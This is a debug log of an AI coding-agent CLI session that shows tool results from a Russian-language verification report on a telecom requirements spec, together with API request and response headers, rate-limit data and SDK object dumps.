\u0421\u0442\u043e\u043f-\u0443\u0441\u043b\u043e\u0432\u0438\u0435 \u043d\u0435 \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u043b\u043e: \u0432\u0441\u0435 \u044f\u0447\u0435\u0439\u043a\u0438, \u043a\u0440\u043e\u043c\u0435 \u0444\u0440\u0430\u0433\u043c\u0435\u043d\u0442\u0430 \u043f.9, \u0447\u0438\u0442\u0430\u0435\u043c\u044b.\\n\\n## 2. \u041c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u0432\u0435\u0440\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u043a\u043e\u043b\u043e\u043d\u043e\u043a 1\u20132\\n\\n1. \u042d\u0442\u0430\u043b\u043e\u043d \u2014 `experiments/issue_363/source_transcription.json`: \u0434\u043b\u044f \u043a\u0430\u0436\u0434\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u0438\\n   `[\u2116, \u0442\u0435\u043a\u0441\u0442, \u0444\u0430\u0439\u043b-\u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442]` \u0438 SHA-256 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442\u0430 (\u0441\u0432\u044f\u0437\u044c \u044d\u0442\u0430\u043b\u043e\u043d\u0430 \u0441\\n   \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u044b\u043c\u0438 \u0431\u0430\u0439\u0442\u0430\u043c\u0438 \u0438\u0441\u0445\u043e\u0434\u043d\u0438\u043a\u0430).\\n2. \u041f\u0440\u0430\u0432\u0438\u043b\u0430 \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u0430: \u043e\u043f\u0435\u0447\u0430\u0442\u043a\u0438 \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u044e\u0442\u0441\u044f (`\u043c\u043e\u0431\u0438\u043b\u044c\u043d\u043e\u0439 \u0441\u043e\u0442\u043e\u0432\u044b\u0439 \u0441\u0432\u044f\u0437\u0438`,\\n   `\u0430\u0432\u0430\u0440\u0438\u043do\u0439 \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u0438`, `email:,`), \u0440\u0430\u0437\u0440\u044b\u0432 \u0430\u0431\u0437\u0430\u0446\u0430 \u2014 ``, \u0432\u0438\u0434\u0438\u043c\u0430\u044f \u043f\u0443\u0441\u0442\u0430\u044f \u0441\u0442\u0440\u043e\u043a\u0430 \u2014\\n   ``, \u0436\u0438\u0440\u043d\u044b\u0439 \u0442\u0435\u043a\u0441\u0442 \u2014 `**\u2026**`, `|` \u044d\u043a\u0440\u0430\u043d\u0438\u0440\u0443\u0435\u0442\u0441\u044f. \u0415\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u0430\u044f \u043d\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f \u2014\\n   \u0434\u0432\u043e\u0439\u043d\u043e\u0439 \u043f\u0440\u043e\u0431\u0435\u043b \u0432 \u043f.13 \u0441\u0432\u0435\u0434\u0451\u043d \u043a \u043e\u0434\u0438\u043d\u0430\u0440\u043d\u043e\u043c\u0443 (\u043d\u0430 \u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442\u0435 \u0448\u0438\u0440\u0438\u043d\u0430 \u043f\u0440\u043e\u0431\u0435\u043b\u0430\\n   \u043d\u0435 \u0440\u0430\u0437\u043b\u0438\u0447\u0438\u043c\u0430 \u043e\u0434\u043d\u043e\u0437\u043d\u0430\u0447\u043d\u043e).\\n3. \u0413\u0435\u043d\u0435\u0440\u0430\u0442\u043e\u0440 `experiments/issue_363/generate_run.py` \u043a\u043e\u043f\u0438\u0440\u0443\u0435\u0442 \u043a\u043e\u043b\u043e\u043d\u043a\u0438 1\u20132 \u0438\u0437\\n   \u044d\u0442\u0430\u043b\u043e\u043d\u0430 \u0431\u0435\u0437 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438.\\n4. \u0412\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440 `scripts/validate_issue_363_run.py` (\u0432 `make validate-full`)\\n   \u043f\u043e\u0441\u0438\u043c\u0432\u043e\u043b\u044c\u043d\u043e \u0441\u0440\u0430\u0432\u043d\u0438\u0432\u0430\u0435\u0442 \u043a\u043e\u043b\u043e\u043d\u043a\u0438 1\u20132 \u043e\u0442\u0447\u0451\u0442\u0430 \u0441 \u044d\u0442\u0430\u043b\u043e\u043d\u043e\u043c, \u043f\u043e\u0440\u044f\u0434\u043e\u043a \u0438 \u0447\u0438\u0441\u043b\u043e \u0441\u0442\u0440\u043e\u043a.\\n   \u041d\u0435\u0433\u0430\u0442\u0438\u0432\u043d\u044b\u0439 \u0442\u0435\u0441\u0442: \u0437\u0430\u043c\u0435\u043d\u0430 `\u0441\u043e\u0442\u043e\u0432\u044b\u0439` \u2192 `\u0441\u043e\u0442\u043e\u0432\u043e\u0439` \u0432 \u043f.1 \u0434\u0430\u0451\u0442\\n   `FAIL \u2026 \u0441\u0442\u0440\u043e\u043a\u0430 1 (\u21161): \u0442\u0435\u043a\u0441\u0442 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u0440\u0430\u0441\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u0441 \u0438\u0441\u0445\u043e\u0434\u043d\u0438\u043a\u043e\u043c`.\\n\\n## 3. \u0412\u0435\u0440\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u0446\u0438\u0442\u0430\u0442 \u0438 \u0441\u0441\u044b\u043b\u043e\u043a\\n\\n- `experiments/issue_363/verify_quotes.py`: \u043a\u0430\u0436\u0434\u044b\u0439 \u0444\u0440\u0430\u0433\u043c\u0435\u043d\u0442 \u0446\u0438\u0442\u0430\u0442\u044b \u0438\u0437 \u043a\u043e\u043b\u043e\u043d\u043a\u0438 5\\n  \u0438\u0449\u0435\u0442\u0441\u044f \u0434\u043e\u0441\u043b\u043e\u0432\u043d\u043e \u0432 \u0440\u0430\u0437\u0434\u0435\u043b\u0430\u0445 \u0411\u0417, \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0445 \u0432 \u043a\u043e\u043b\u043e\u043d\u043a\u0435 4 \u2014 \u0440\u0430\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0439 0.\\n- \u00a7 / \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a / \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b \u0432 \u0441\u0441\u044b\u043b\u043a\u0430\u0445 \u0447\u0438\u0442\u0430\u044e\u0442\u0441\u044f \u0438\u0437 frontmatter \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 runtime-\u0411\u0417\\n  (commit `91406e430aeb70dabf20548eee0ea95127f42690`) \u0438 \u0441\u0432\u0435\u0440\u044f\u044e\u0442\u0441\u044f \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440\u043e\u043c\\n  \u043f\u0440\u0438 `MANGO_BA_RUNTIME_MAIN`, \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0449\u0435\u043c \u043d\u0430 \u044d\u0442\u043e\u0442 commit.\\n- \u0426\u0438\u0442\u0430\u0442\u044b \u043f\u043e\u0440\u0442\u0430\u043b\u0430 (`mango-office.ru/products/virtualnaya_ats/vozmozhnosti/sip-trunk/`)\\n  \u0441\u043d\u044f\u0442\u044b \u0441\u043e \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b \u0432\u0440\u0443\u0447\u043d\u0443\u044e; ptime 20 ms \u0434\u043e\u0441\u043b\u043e\u0432\u043d\u043e \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d \u2014 \u00ab\u041d\u0435\u0442 \u0434\u0430\u043d\u043d\u044b\u0445\u00bb.\\n\\n## 4. \u0421\u0432\u0435\u0440\u043a\u0430 \u0441 \u0448\u0430\u0431\u043b\u043e\u043d\u043e\u043c \u0422\u0417 v4\\n\\n\u0428\u0430\u0431\u043b\u043e\u043d \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u0412\u0410\u0422\u0421 / \u043a\u043e\u043d\u0442\u0430\u043a\u0442-\u0446\u0435\u043d\u0442\u0440 (\u0440\u0430\u0437\u0434\u0435\u043b\u044b 2, 3, 7\u20139, 12). \u041d\u0438 \u043e\u0434\u0438\u043d \u043f\u0443\u043d\u043a\u0442\\n\u0422\u0417 BCREQ-1114 (\u0443\u0441\u043b\u0443\u0433\u0438 \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u0430: SIP-\u0442\u0440\u0430\u043d\u043a, \u0422\u0424\u041e\u041f, SLA) \u043d\u0435 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u0435\u0442 >90%,\\n\u043f\u0440\u0430\u0432\u0438\u043b\u043e \u00ab\u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u043e \u0431\u0435\u0437 \u043e\u0431\u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u044f\u00bb \u043d\u0435 \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u043b\u043e\u0441\u044c.\",\n[2026-09-29T07:46:42.785Z] [INFO]         \"is_error\": false\n[2026-09-29T07:46:42.785Z] [INFO]       }\n[2026-09-29T07:46:42.785Z] [INFO]     ]\n[2026-09-29T07:46:42.785Z] [INFO]   },\n[2026-09-29T07:46:42.785Z] [INFO]   \"parent_tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:46:42.785Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:42.785Z] [INFO]   \"uuid\": \"0dcfce56-8b29-497b-b816-f89539939203\",\n[2026-09-29T07:46:42.785Z] [INFO]   \"timestamp\": \"2026-09-29T07:46:42.764Z\",\n[2026-09-29T07:46:42.785Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:46:42.785Z] [INFO]   \"task_description\": \"Analyze mango_ba_prompts history\"\n[2026-09-29T07:46:42.785Z] [INFO] }\n[2026-09-29T07:46:42.898Z] [STDOUT] [log_2acf72] sending request {\n[2026-09-29T07:46:42.902Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:46:42.913Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:42.923Z] [STDOUT]   options: {\n[2026-09-29T07:46:42.934Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:46:42.942Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:46:42.947Z] [STDOUT]     body: {\n[2026-09-29T07:46:42.961Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:46:42.971Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:46:42.975Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:46:42.980Z] [STDOUT]       tools: [Array ...],\n[2026-09-29T07:46:42.983Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:46:42.989Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:46:43.001Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:46:43.032Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:46:43.037Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:46:43.043Z] [STDOUT]       fallbacks: \"default\",\n[2026-09-29T07:46:43.047Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:46:43.052Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:46:43.056Z] [STDOUT]       stream: true,\n[2026-09-29T07:46:43.066Z] [STDOUT]     },\n[2026-09-29T07:46:43.071Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:46:43.078Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:46:43.084Z] [STDOUT]       [Symbol(events.maxEventTargetListeners)]: 50,\n[2026-09-29T07:46:43.089Z] [STDOUT]       [Symbol(events.maxEventTargetListenersWarned)]: false,\n[2026-09-29T07:46:43.095Z] [STDOUT]       aborted: false,\n[2026-09-29T07:46:43.100Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:46:43.103Z] [STDOUT]       onabort: null,\n[2026-09-29T07:46:43.105Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:46:43.107Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:46:43.110Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:46:43.113Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:46:43.117Z] [STDOUT]     },\n[2026-09-29T07:46:43.120Z] [STDOUT]     stream: true,\n[2026-09-29T07:46:43.123Z] [STDOUT]   },\n[2026-09-29T07:46:43.127Z] [STDOUT]   headers: {\n[2026-09-29T07:46:43.132Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:46:43.136Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,server-side-fallback-2026-07-01,fallback-credit-2026-06-01,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:46:43.142Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:46:43.146Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:46:43.152Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:46:43.155Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:46:43.160Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:46:43.162Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:46:43.164Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:46:43.169Z] [STDOUT]     \"x-cc-compaction-request\": \"auto\",\n[2026-09-29T07:46:43.172Z] [STDOUT]     \"x-claude-code-agent-id\": \"aadf7f40500b72ce3\",\n[2026-09-29T07:46:43.174Z] [STDOUT]     \"x-claude-code-compaction\": \"auto\",\n[2026-09-29T07:46:43.178Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:46:43.181Z] [STDOUT]     \"x-claude-code-request-class\": \"compaction\",\n[2026-09-29T07:46:43.184Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:43.188Z] [STDOUT]     \"x-client-request-id\": \"08460d89-5e11-4880-a814-d95190b5bfdb\",\n[2026-09-29T07:46:43.191Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:46:43.194Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:46:43.196Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:46:43.201Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:46:43.207Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:46:43.211Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:46:43.214Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:46:43.217Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:46:43.221Z] [STDOUT]   },\n[2026-09-29T07:46:43.225Z] [STDOUT] }\n[2026-09-29T07:46:43.535Z] [INFO] {\n[2026-09-29T07:46:43.535Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:46:43.535Z] [INFO]   \"message\": {\n[2026-09-29T07:46:43.535Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:46:43.535Z] [INFO]     \"content\": [\n[2026-09-29T07:46:43.535Z] [INFO]       {\n[2026-09-29T07:46:43.535Z] [INFO]         \"tool_use_id\": \"toolu_01ALe8wm5vY9fvpuo91unrM2\",\n[2026-09-29T07:46:43.535Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:46:43.535Z] [INFO]         \"content\": \"total 12\\ndrwxr-xr-x 2 box  box  4096 Sep 29 07:44 .\\ndrwxrwxrwt 1 root root 4096 Sep 29 07:46 ..\\n\u0434\u0435\u043d \u2014 \u00ab\u041d\u0435\u0442 \u0434\u0430\u043d\u043d\u044b\u0445\u00bb.\\\\n\\\\n## 4. \u0421\u0432\u0435\u0440\u043a\u0430 \u0441 \u0448\u0430\u0431\u043b\u043e\u043d\u043e\u043c \u0422\u0417 v4\\\\n\\\\n\u0428\u0430\u0431\u043b\u043e\u043d \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u0412\u0410\u0422\u0421 / \u043a\u043e\u043d\u0442\u0430\u043a\u0442-\u0446\u0435\u043d\u0442\u0440 (\u0440\u0430\u0437\u0434\u0435\u043b\u044b 2, 3, 7\u20139, 12). \u041d\u0438 \u043e\u0434\u0438\u043d \u043f\u0443\u043d\u043a\u0442\\\\n\u0422\u0417 BCREQ-1114 (\u0443\u0441\u043b\u0443\u0433\u0438 \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u0430: SIP-\u0442\u0440\u0430\u043d\u043a, \u0422\u0424\u041e\u041f, SLA) \u043d\u0435 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u0435\u0442 >90%,\\\\n\u043f\u0440\u0430\u0432\u0438\u043b\u043e \u00ab\u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u043e \u0431\u0435\u0437 \u043e\u0431\u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u044f\u00bb \u043d\u0435 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[INFO]         \"is_error\": false\n[2026-09-29T07:46:43.535Z] [INFO]       }\n[2026-09-29T07:46:43.535Z] [INFO]     ]\n[2026-09-29T07:46:43.535Z] [INFO]   },\n[2026-09-29T07:46:43.535Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:46:43.535Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:43.535Z] [INFO]   \"uuid\": \"ace87279-70ed-46d6-88ee-decd72070de4\",\n[2026-09-29T07:46:43.535Z] [INFO]   \"timestamp\": \"2026-09-29T07:46:43.527Z\",\n[2026-09-29T07:46:43.535Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:46:43.535Z] [INFO]     \"stdout\": \"total 12\\ndrwxr-xr-x 2 box  box  4096 Sep 29 07:44 .\\ndrwxrwxrwt 1 root root 4096 Sep 29 07:46 ..\\n\u0434\u0435\u043d \u2014 \u00ab\u041d\u0435\u0442 \u0434\u0430\u043d\u043d\u044b\u0445\u00bb.\\\\n\\\\n## 4. \u0421\u0432\u0435\u0440\u043a\u0430 \u0441 \u0448\u0430\u0431\u043b\u043e\u043d\u043e\u043c \u0422\u0417 v4\\\\n\\\\n\u0428\u0430\u0431\u043b\u043e\u043d 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\"[REDACTED]\",\n[2026-09-29T07:46:43.754Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:46:43.757Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:46:43.761Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:46:43.767Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1311\",\n[2026-09-29T07:46:43.771Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:46:43.776Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T07:46:43.782Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:43.786Z] [STDOUT]     \"x-client-request-id\": \"6f97e404-a742-4329-b9be-40208b29a043\",\n[2026-09-29T07:46:43.789Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:46:43.792Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:46:43.796Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:46:43.801Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:46:43.803Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:46:43.806Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:46:43.810Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:46:43.815Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:46:43.817Z] [STDOUT]   },\n[2026-09-29T07:46:43.820Z] [STDOUT] }\n[2026-09-29T07:46:44.359Z] [STDOUT] [log_806bf2, request-id: \"req_011CfXMrZr7ogFdPXuef7X8S\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 756ms\n[2026-09-29T07:46:44.363Z] [STDOUT] [log_806bf2] response start {\n[2026-09-29T07:46:44.366Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:44.370Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:44.375Z] [STDOUT]   headers: {\n[2026-09-29T07:46:44.379Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:46:44.382Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:46:44.385Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:46:44.389Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.37\",\n[2026-09-29T07:46:44.392Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:46:44.396Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:46:44.400Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:46:44.402Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:46:44.407Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:46:44.410Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:46:44.414Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:46:44.421Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:46:44.425Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:46:44.430Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:46:44.435Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:46:44.438Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:46:44.446Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:46:44.449Z] [STDOUT]     \"cf-ray\": \"a429602e882adbb5-FRA\",\n[2026-09-29T07:46:44.453Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:46:44.458Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:46:44.462Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:46:44.464Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:46:44.468Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:46:44 GMT\",\n[2026-09-29T07:46:44.471Z] [STDOUT]     \"request-id\": \"req_011CfXMrZr7ogFdPXuef7X8S\",\n[2026-09-29T07:46:44.474Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:46:44.477Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:46:44.480Z] [STDOUT]     traceresponse: \"00-7dfa793da5db5150a38ecbf7c843eef8-e9e41b44b757e707-01\",\n[2026-09-29T07:46:44.484Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:46:44.488Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:46:44.492Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:46:44.496Z] [STDOUT]   },\n[2026-09-29T07:46:44.502Z] [STDOUT]   durationMs: 756,\n[2026-09-29T07:46:44.506Z] [STDOUT] }\n[2026-09-29T07:46:44.508Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:46:44.515Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:46:44 GMT\",\n[2026-09-29T07:46:44.520Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:46:44.525Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:46:44.533Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:46:44.538Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:46:44.542Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:46:44.545Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:46:44.548Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:46:44.551Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:46:44.554Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:46:44.558Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:46:44.561Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:46:44.563Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:46:44.567Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.37\",\n[2026-09-29T07:46:44.572Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:46:44.575Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:46:44.578Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:46:44.581Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:46:44.584Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:46:44.590Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:46:44.596Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:46:44.600Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:46:44.603Z] [STDOUT]   \"request-id\": \"req_011CfXMrZr7ogFdPXuef7X8S\",\n[2026-09-29T07:46:44.606Z] [STDOUT]   \"traceresponse\": \"00-7dfa793da5db5150a38ecbf7c843eef8-e9e41b44b757e707-01\",\n[2026-09-29T07:46:44.610Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:46:44.614Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:46:44.619Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:46:44.625Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:46:44.637Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:46:44.642Z] [STDOUT]   \"cf-ray\": \"a429602e882adbb5-FRA\",\n[2026-09-29T07:46:44.647Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:46:44.650Z] [STDOUT] [log_806bf2] response parsed {\n[2026-09-29T07:46:44.655Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:44.658Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:44.660Z] [STDOUT]   body: X {\n[2026-09-29T07:46:44.663Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:46:44.666Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:46:44.669Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:46:44.672Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:46:44.676Z] [STDOUT]     },\n[2026-09-29T07:46:44.679Z] [STDOUT]     